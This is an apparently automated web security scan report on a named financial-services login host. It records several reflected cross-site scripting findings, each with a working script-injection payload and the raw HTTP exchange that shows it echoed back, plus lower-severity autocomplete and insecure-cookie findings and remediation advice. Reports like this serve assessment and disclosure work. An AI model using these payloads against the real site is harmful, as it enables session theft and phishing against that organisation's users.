XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, BHDB, service2.nml.com

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. https://service2.nml.com/bcis/update/login [REST URL parameter 3] next

Summary

Severity:	High
Confidence:	Certain
Host:	https://service2.nml.com
Path:	/bcis/update/login

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7257b"><script>alert(1)</script>c3fee6bd54c was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /bcis/update/login7257b"><script>alert(1)</script>c3fee6bd54c HTTP/1.1
Host: service2.nml.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 200 OK
Date: Tue, 03 Jan 2012 01:51:56 GMT
Server: IBM_HTTP_Server
Cache-Control: no-store
Connection: close
Content-Type: text/html; charset=iso-8859-1
Content-Length: 19946

<!doctype html public "-//W3C//DTD HTML 4.0 Transitional//EN">
<html lang="en"><head>

<script>
   function loginsubmit()
   {
       document.forms["login"].submit();
   }
</script>

<title>

...[SNIP]...
<input type="hidden" name="TARGET" value="https://service2.nml.com/bcis/update/login7257b"><script>alert(1)</script>c3fee6bd54c">
...[SNIP]...

1.2. https://service2.nml.com/bcis/update/login [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://service2.nml.com
Path:	/bcis/update/login

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3db4e"><script>alert(1)</script>75f4c3b13b4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /bcis/update/login?3db4e"><script>alert(1)</script>75f4c3b13b4=1 HTTP/1.1
Host: service2.nml.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 200 OK
Date: Tue, 03 Jan 2012 01:51:54 GMT
Server: IBM_HTTP_Server
Cache-Control: no-store
Connection: close
Content-Type: text/html; charset=iso-8859-1
Content-Length: 19949

<!doctype html public "-//W3C//DTD HTML 4.0 Transitional//EN">
<html lang="en"><head>

<script>
   function loginsubmit()
   {
       document.forms["login"].submit();
   }
</script>

<title>

...[SNIP]...
<input type="hidden" name="TARGET" value="HTTPS://service2.nml.com/bcis/update/login?3db4e"><script>alert(1)</script>75f4c3b13b4=1">
...[SNIP]...

1.3. https://service2.nml.com/bcis/update/login7257b%22%3E%3Cscript%3Ealert(1)%3C/images/spacer.gif [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://service2.nml.com
Path:	/bcis/update/login7257b%22%3E%3Cscript%3Ealert(1)%3C/images/spacer.gif

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload e3b6d%3balert(1)//c09b9372b23 was submitted in the REST URL parameter 5. This input was echoed as e3b6d;alert(1)//c09b9372b23 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /bcis/update/login7257b%22%3E%3Cscript%3Ealert(1)%3C/images/spacer.gife3b6d%3balert(1)//c09b9372b23 HTTP/1.1
Host: service2.nml.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://service2.nml.com/bcis/update/login7257b%22%3E%3Cscript%3Ealert(1)%3C/script%3Ec3fee6bd54c
Content-Length: 10

Response (redirected)

HTTP/1.1 200 OK
Date: Tue, 03 Jan 2012 01:54:07 GMT
Server: IBM_HTTP_Server
Cache-Control: no-store
Keep-Alive: timeout=15
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
Content-Length: 19972

<!doctype html public "-//W3C//DTD HTML 4.0 Transitional//EN">
<html lang="en"><head>

<script>
   function loginsubmit()
   {
       document.forms["login"].submit();
   }
</script>

<title>

...[SNIP]...
</images/spacer.gife3b6d;alert(1)//c09b9372b23">
...[SNIP]...

1.4. https://service2.nml.com/bciswas6/form/bcis/bcislogin.fcc [TARGET parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://service2.nml.com
Path:	/bciswas6/form/bcis/bcislogin.fcc

Issue detail

The value of the TARGET request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 56196"><script>alert(1)</script>94ca466e9752f2cb5 was submitted in the TARGET parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /bciswas6/form/bcis/bcislogin.fcc?TYPE=33554433&REALMOID=06-3b2460c2-658a-4ce9-83aa-afb43a2535cf&GUID=&SMAUTHREASON=0&METHOD=GET&SMAGENTNAME=-SM-c3lXBXF9kTimLaOzCCwXCcD9H0bN6tVyOVuuWFHW%2ftOkjogAOw3QMRLAcDAn6GFO&TARGET=-SM-https%3a%2f%2fservice2%2enml%2ecom%2fbcis%2fupdate%2flogin&USER=wqer43&TARGET=https%3A%2F%2Fservice2.nml.com%2Fbcis%2Fupdate%2Flogin56196"><script>alert(1)</script>94ca466e9752f2cb5&SMAUTHREASON=0&PASSWORD=r34r324er HTTP/1.1
Host: service2.nml.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://service2.nml.com/bciswas6/form/bcis/bcislogin.fcc?TYPE=33554433&REALMOID=06-3b2460c2-658a-4ce9-83aa-afb43a2535cf&GUID=&SMAUTHREASON=0&METHOD=GET&SMAGENTNAME=-SM-c3lXBXF9kTimLaOzCCwXCcD9H0bN6tVyOVuuWFHW%2ftOkjogAOw3QMRLAcDAn6GFO&TARGET=-SM-https%3a%2f%2fservice2%2enml%2ecom%2fbcis%2fupdate%2flogin
Cookie: WEBTRENDS_ID=174.36.218.2.1325555639609746; CP=null*

Response

HTTP/1.1 200 OK
Date: Tue, 03 Jan 2012 01:55:43 GMT
Server: IBM_HTTP_Server
Cache-Control: no-store
Keep-Alive: timeout=15
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
Content-Length: 19952

<!doctype html public "-//W3C//DTD HTML 4.0 Transitional//EN">
<html lang="en"><head>

<script>
   function loginsubmit()
   {
       document.forms["login"].submit();
   }
</script>

<title>

...[SNIP]...
<input type="hidden" name="TARGET" value="https://service2.nml.com/bcis/update/login56196"><script>alert(1)</script>94ca466e9752f2cb5">
...[SNIP]...

1.5. https://service2.nml.com/bciswas6/form/bcis/bcislogin.fcc [TARGET parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://service2.nml.com
Path:	/bciswas6/form/bcis/bcislogin.fcc

Issue detail

The value of the TARGET request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6801f"><script>alert(1)</script>86158638725 was submitted in the TARGET parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

Response

HTTP/1.1 200 OK
Date: Tue, 03 Jan 2012 01:54:55 GMT
Server: IBM_HTTP_Server
Cache-Control: no-store
Keep-Alive: timeout=15
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
Content-Length: 19946

<!doctype html public "-//W3C//DTD HTML 4.0 Transitional//EN">
<html lang="en"><head>

<script>
   function loginsubmit()
   {
       document.forms["login"].submit();
   }
</script>

<title>

...[SNIP]...
<input type="hidden" name="TARGET" value="https://service2.nml.com/bcis/update/login6801f"><script>alert(1)</script>86158638725">
...[SNIP]...

2. Password field with autocomplete enabled previous next
There are 2 instances of this issue:

/bciswas6/form/bcis/bcislogin.fcc
/bciswas6/form/bcis/bcislogin.fcc

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

2.1. https://service2.nml.com/bciswas6/form/bcis/bcislogin.fcc previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://service2.nml.com
Path:	/bciswas6/form/bcis/bcislogin.fcc

Issue detail

The page contains a form with the following action URL:

https://service2.nml.com/bciswas6/form/bcis/bcislogin.fcc?TYPE=33554433&REALMOID=06-3b2460c2-658a-4ce9-83aa-afb43a2535cf&GUID=&SMAUTHREASON=0&METHOD=GET&SMAGENTNAME=-SM-c3lXBXF9kTimLaOzCCwXCcD9H0bN6tVyOVuuWFHW%2ftOkjogAOw3QMRLAcDAn6GFO&TARGET=-SM-https%3a%2f%2fservice2%2enml%2ecom%2fbcis%2fupdate%2flogin

The form contains the following password field with autocomplete enabled:

PASSWORD

Request

Response

HTTP/1.1 200 OK
Date: Tue, 03 Jan 2012 01:54:39 GMT
Server: IBM_HTTP_Server
Cache-Control: no-store
Keep-Alive: timeout=15
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
Content-Length: 19903

<!doctype html public "-//W3C//DTD HTML 4.0 Transitional//EN">
<html lang="en"><head>

<script>
   function loginsubmit()
   {
       document.forms["login"].submit();
   }
</script>

<title>

...[SNIP]...
</p>

                                        <form name="login" method="POST" onkeypress="if(event.keyCode==13){submit()}">

                                           <table border="0" cellspacing="0" cellpadding="2">
...[SNIP]...
<td class="formelement">

                                                    <input type="PASSWORD" name="PASSWORD" maxlength="32">

                                                   </td>
...[SNIP]...

2.2. https://service2.nml.com/bciswas6/form/bcis/bcislogin.fcc previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://service2.nml.com
Path:	/bciswas6/form/bcis/bcislogin.fcc

Issue detail

The page contains a form with the following action URL:

https://service2.nml.com/bciswas6/form/bcis/bcislogin.fcc

The form contains the following password field with autocomplete enabled:

PASSWORD

Request

GET /bciswas6/form/bcis/bcislogin.fcc HTTP/1.1
Host: service2.nml.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 03 Jan 2012 02:37:40 GMT
Server: IBM_HTTP_Server
Cache-Control: no-store
Connection: close
Content-Type: text/html; charset=iso-8859-1
Content-Length: 19860

<!doctype html public "-//W3C//DTD HTML 4.0 Transitional//EN">
<html lang="en"><head>

<script>
   function loginsubmit()
   {
       document.forms["login"].submit();
   }
</script>

<title>

...[SNIP]...
</p>

                                        <form name="login" method="POST" onkeypress="if(event.keyCode==13){submit()}">

                                           <table border="0" cellspacing="0" cellpadding="2">
...[SNIP]...
<td class="formelement">

                                                    <input type="PASSWORD" name="PASSWORD" maxlength="32">

                                                   </td>
...[SNIP]...

3. SSL cookie without secure flag set previous next
There are 12 instances of this issue:

/bcis/image/bottomleft.gif
/bcis/image/bottomright.gif
/bcis/image/go.gif
/bcis/image/nmfnlogo.gif
/bcis/image/spacer.gif
/bcis/image/topleft1.gif
/bcis/image/topleft3.gif
/bcis/image/topleft_nobar2.gif
/bcis/image/topright.gif
/bcis/style/bcisstyles.css
/bcis/style/systemStyle.css
/bcis/update/login7257b%22%3E%3Cscript%3Ealert(1)%3C/images/spacer.gif

Issue background

If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.

Issue remediation

The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.

3.1. https://service2.nml.com/bcis/image/bottomleft.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://service2.nml.com
Path:	/bcis/image/bottomleft.gif

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

WEBTRENDS_ID=174.36.218.2.1325555639724031; path=/; expires=Wed, 02-Jan-13 01:53:59 GMT; domain=.service.nml.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /bcis/image/bottomleft.gif HTTP/1.1
Host: service2.nml.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://service2.nml.com/bcis/update/login7257b%22%3E%3Cscript%3Ealert(1)%3C/script%3Ec3fee6bd54c
Content-Length: 10

Response

HTTP/1.1 400 Bad Request
Date: Tue, 03 Jan 2012 01:53:59 GMT
Server: IBM_HTTP_Server
Set-Cookie: WEBTRENDS_ID=174.36.218.2.1325555639724031; path=/; expires=Wed, 02-Jan-13 01:53:59 GMT; domain=.service.nml.com
Content-Length: 0
Connection: close
Content-Type: text/plain

3.2. https://service2.nml.com/bcis/image/bottomright.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://service2.nml.com
Path:	/bcis/image/bottomright.gif

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

WEBTRENDS_ID=174.36.218.2.1325555639714673; path=/; expires=Wed, 02-Jan-13 01:53:59 GMT; domain=.service.nml.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /bcis/image/bottomright.gif HTTP/1.1
Host: service2.nml.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://service2.nml.com/bcis/update/login7257b%22%3E%3Cscript%3Ealert(1)%3C/script%3Ec3fee6bd54c
Content-Length: 10

Response

HTTP/1.1 400 Bad Request
Date: Tue, 03 Jan 2012 01:53:59 GMT
Server: IBM_HTTP_Server
Set-Cookie: WEBTRENDS_ID=174.36.218.2.1325555639714673; path=/; expires=Wed, 02-Jan-13 01:53:59 GMT; domain=.service.nml.com
Content-Length: 0
Connection: close
Content-Type: text/plain

3.3. https://service2.nml.com/bcis/image/go.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://service2.nml.com
Path:	/bcis/image/go.gif

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

WEBTRENDS_ID=174.36.218.2.1325555639656817; path=/; expires=Wed, 02-Jan-13 01:53:59 GMT; domain=.service.nml.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /bcis/image/go.gif HTTP/1.1
Host: service2.nml.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://service2.nml.com/bcis/update/login7257b%22%3E%3Cscript%3Ealert(1)%3C/script%3Ec3fee6bd54c
Content-Length: 10

Response

HTTP/1.1 400 Bad Request
Date: Tue, 03 Jan 2012 01:53:59 GMT
Server: IBM_HTTP_Server
Set-Cookie: WEBTRENDS_ID=174.36.218.2.1325555639656817; path=/; expires=Wed, 02-Jan-13 01:53:59 GMT; domain=.service.nml.com
Content-Length: 0
Connection: close
Content-Type: text/plain

3.4. https://service2.nml.com/bcis/image/nmfnlogo.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://service2.nml.com
Path:	/bcis/image/nmfnlogo.gif

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

WEBTRENDS_ID=174.36.218.2.1325555639496467; path=/; expires=Wed, 02-Jan-13 01:53:59 GMT; domain=.service2.nml.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /bcis/image/nmfnlogo.gif HTTP/1.1
Host: service2.nml.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://service2.nml.com/bcis/update/login7257b%22%3E%3Cscript%3Ealert(1)%3C/script%3Ec3fee6bd54c
Content-Length: 10

Response

HTTP/1.1 400 Bad Request
Date: Tue, 03 Jan 2012 01:53:59 GMT
Server: IBM_HTTP_Server
Set-Cookie: WEBTRENDS_ID=174.36.218.2.1325555639496467; path=/; expires=Wed, 02-Jan-13 01:53:59 GMT; domain=.service2.nml.com
Content-Length: 0
Connection: close
Content-Type: text/plain

3.5. https://service2.nml.com/bcis/image/spacer.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://service2.nml.com
Path:	/bcis/image/spacer.gif

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

WEBTRENDS_ID=174.36.218.2.1325555639472289; path=/; expires=Wed, 02-Jan-13 01:53:59 GMT; domain=.service.nml.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /bcis/image/spacer.gif HTTP/1.1
Host: service2.nml.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://service2.nml.com/bcis/update/login7257b%22%3E%3Cscript%3Ealert(1)%3C/script%3Ec3fee6bd54c
Content-Length: 10

Response

HTTP/1.1 400 Bad Request
Date: Tue, 03 Jan 2012 01:53:59 GMT
Server: IBM_HTTP_Server
Set-Cookie: WEBTRENDS_ID=174.36.218.2.1325555639472289; path=/; expires=Wed, 02-Jan-13 01:53:59 GMT; domain=.service.nml.com
Content-Length: 0
Connection: close
Content-Type: text/plain

3.6. https://service2.nml.com/bcis/image/topleft1.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://service2.nml.com
Path:	/bcis/image/topleft1.gif

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

WEBTRENDS_ID=174.36.218.2.1325555639480935; path=/; expires=Wed, 02-Jan-13 01:53:59 GMT; domain=.service.nml.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /bcis/image/topleft1.gif HTTP/1.1
Host: service2.nml.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://service2.nml.com/bcis/update/login7257b%22%3E%3Cscript%3Ealert(1)%3C/script%3Ec3fee6bd54c
Content-Length: 10

Response

HTTP/1.1 400 Bad Request
Date: Tue, 03 Jan 2012 01:53:59 GMT
Server: IBM_HTTP_Server
Set-Cookie: WEBTRENDS_ID=174.36.218.2.1325555639480935; path=/; expires=Wed, 02-Jan-13 01:53:59 GMT; domain=.service.nml.com
Content-Length: 0
Connection: close
Content-Type: text/plain

3.7. https://service2.nml.com/bcis/image/topleft3.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://service2.nml.com
Path:	/bcis/image/topleft3.gif

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

WEBTRENDS_ID=174.36.218.2.1325555639638224; path=/; expires=Wed, 02-Jan-13 01:53:59 GMT; domain=.service2.nml.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /bcis/image/topleft3.gif HTTP/1.1
Host: service2.nml.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://service2.nml.com/bcis/update/login7257b%22%3E%3Cscript%3Ealert(1)%3C/script%3Ec3fee6bd54c
Content-Length: 10

Response

HTTP/1.1 400 Bad Request
Date: Tue, 03 Jan 2012 01:53:59 GMT
Server: IBM_HTTP_Server
Set-Cookie: WEBTRENDS_ID=174.36.218.2.1325555639638224; path=/; expires=Wed, 02-Jan-13 01:53:59 GMT; domain=.service2.nml.com
Content-Length: 0
Connection: close
Content-Type: text/plain

3.8. https://service2.nml.com/bcis/image/topleft_nobar2.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://service2.nml.com
Path:	/bcis/image/topleft_nobar2.gif

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

WEBTRENDS_ID=174.36.218.2.1325555640239536; path=/; expires=Wed, 02-Jan-13 01:54:00 GMT; domain=.service2.nml.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /bcis/image/topleft_nobar2.gif HTTP/1.1
Host: service2.nml.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://service2.nml.com/bcis/update/login7257b%22%3E%3Cscript%3Ealert(1)%3C/script%3Ec3fee6bd54c
Content-Length: 10

Response

HTTP/1.1 400 Bad Request
Date: Tue, 03 Jan 2012 01:54:00 GMT
Server: IBM_HTTP_Server
Set-Cookie: WEBTRENDS_ID=174.36.218.2.1325555640239536; path=/; expires=Wed, 02-Jan-13 01:54:00 GMT; domain=.service2.nml.com
Content-Length: 0
Connection: close
Content-Type: text/plain

3.9. https://service2.nml.com/bcis/image/topright.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://service2.nml.com
Path:	/bcis/image/topright.gif

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

WEBTRENDS_ID=174.36.218.2.1325555639491453; path=/; expires=Wed, 02-Jan-13 01:53:59 GMT; domain=.service2.nml.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /bcis/image/topright.gif HTTP/1.1
Host: service2.nml.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://service2.nml.com/bcis/update/login7257b%22%3E%3Cscript%3Ealert(1)%3C/script%3Ec3fee6bd54c
Content-Length: 10

Response

HTTP/1.1 400 Bad Request
Date: Tue, 03 Jan 2012 01:53:59 GMT
Server: IBM_HTTP_Server
Set-Cookie: WEBTRENDS_ID=174.36.218.2.1325555639491453; path=/; expires=Wed, 02-Jan-13 01:53:59 GMT; domain=.service2.nml.com
Content-Length: 0
Connection: close
Content-Type: text/plain

3.10. https://service2.nml.com/bcis/style/bcisstyles.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://service2.nml.com
Path:	/bcis/style/bcisstyles.css

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

WEBTRENDS_ID=174.36.218.2.1325555639505300; path=/; expires=Wed, 02-Jan-13 01:53:59 GMT; domain=.service.nml.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /bcis/style/bcisstyles.css HTTP/1.1
Host: service2.nml.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://service2.nml.com/bcis/update/login7257b%22%3E%3Cscript%3Ealert(1)%3C/script%3Ec3fee6bd54c
Content-Length: 10

Response

HTTP/1.1 400 Bad Request
Date: Tue, 03 Jan 2012 01:53:59 GMT
Server: IBM_HTTP_Server
Set-Cookie: WEBTRENDS_ID=174.36.218.2.1325555639505300; path=/; expires=Wed, 02-Jan-13 01:53:59 GMT; domain=.service.nml.com
Content-Length: 0
Connection: close
Content-Type: text/plain

3.11. https://service2.nml.com/bcis/style/systemStyle.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://service2.nml.com
Path:	/bcis/style/systemStyle.css

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

WEBTRENDS_ID=174.36.218.2.1325555639521445; path=/; expires=Wed, 02-Jan-13 01:53:59 GMT; domain=.service2.nml.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

